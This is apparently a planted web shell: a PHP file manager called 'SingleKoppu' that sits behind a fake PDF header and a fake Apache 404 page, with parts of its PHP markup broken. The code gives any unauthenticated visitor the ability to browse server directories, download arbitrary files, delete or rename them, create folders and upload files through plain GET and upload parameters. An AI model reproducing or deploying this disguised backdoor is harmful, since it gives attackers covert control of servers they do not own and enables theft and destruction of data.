%PDF-1.4
%����
1 0 obj
404 Not Found
Not Found
The requested URL was not found on this server.
Additionally, a 404 Not Found
error was encountered while trying to use an ErrorDocument to handle the request.
Apache Server at = $_SERVER['HTTP_HOST'] ?> Port 80
dir = $info['dirname'];
} else {
$this->dir = $curDir;
}
}
function fileList() {
$files = array_slice(scandir($this->dir), 2);
$list = array();
for ($i = 0; $i < sizeof($files); $i++) {
$type = filetype($this->dir . '/' . $files[$i]);
$download = "?download={$files[$i]}&type={$type}&curDir={$this->dir}";
$list[] = array(
'file' => $files[$i],
'type' => $type,
'download' => $download,
'delete' => "?delete={$files[$i]}&type={$type}&curDir={$this->dir}",
'view' => ($type == 'dir') ? "?goDir={$this->dir}/{$files[$i]}&curDir={$this->dir}" : $download,
);
}
return $list;
}
function rename($data) {
$info = rename($data['curDir'] . '/' . $data['rename'], $data['curDir'] . '/' . $data['newName']);
$this->dir = $data['curDir'];
}
function download($data) {
if ($data['type'] == 'file') {
$file=$data['curDir'] . '/' . $data['download'];
header('Content-Description: File Transfer');
header("Content-Type:application/octet-stream");
header("Accept-Ranges: bytes");
header("Content-Length: " . filesize($file));
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header("Content-Disposition: attachment; filename=" . $data['download']);
flush(); // Flush system output buffer
readfile($file);
exit;
} else if ($data['type'] == 'dir') {
echo 'zip download not done.......
';
}
}
function delete($data) {
if ($data['type'] == 'dir') {
$info = rmdir($data['curDir'] . '/' . $data['delete']);
} else if ($data['type'] == 'file') {
$info = unlink($data['curDir'] . '/' . $data['delete']);
}
$this->dir = $data['curDir'];
}
function goDir($dir) {
$this->dir = $dir;
}
function backDir($dir) {
$dirAr = explode('/', $dir);
array_pop($dirAr);
$bkdir = implode('/', $dirAr);
$this->dir = $bkdir;
}
function createFolder($data) {
$info = mkdir($data['curDir'] . '/' . $data['createFolder'], 0777);
$this->dir = $data['curDir'];
}
function filesUpload($files, $dir) {
for ($i = 0; $i < sizeof($files['filesUpload']['error']); $i++) {
if ($files['filesUpload']['error'][$i] == 0){
move_uploaded_file($files['filesUpload']['tmp_name'][$i], $dir . '/' . $files['filesUpload']['name'][$i]);
}
}
$this->dir = $dir;
}
function auto($get, $files, $post) {
//go
if (isset($get['goDir'])) {
$this->goDir($get['goDir']);
}
//back
if (isset($get['backDir'])) {
$this->backDir($get['backDir']);
}
//rename
if (isset($get['rename'])) {
$this->rename($get);
}
//download
if (isset($get['download'])) {
$this->download($get);
}
//delete
if (isset($get['delete'])) {
$this->delete($get);
}
//createFolder
if (isset($get['createFolder'])) {
$this->createFolder($get);
}
//filesUpload
if (isset($files['filesUpload'])) {
$this->filesUpload($files, $get['curDir']);
}
return error_get_last();
}
}
//action
$koppu = new SingleKoppu();
$error = $koppu->auto($_GET, $_FILES, $_POST);
$list = $koppu->fileList();
?>
SingleKoppu v1.0
dir; ?>